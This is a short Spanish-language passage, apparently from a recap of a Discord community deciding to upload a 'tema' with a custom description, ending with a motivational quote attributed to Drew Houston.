subir el tema. -Al decidir subir el tema, habia la posibilidad de añadir el comentario que quisieramos (suponemos que como descripción del tema) -La comunidad de discord (o al menos los activos en ese momento) decidió darle a la petición de subir el tema con un texto personalizado. > "No importa cuántas veces fracases, solo tienes que acertar una vez." - Drew Houston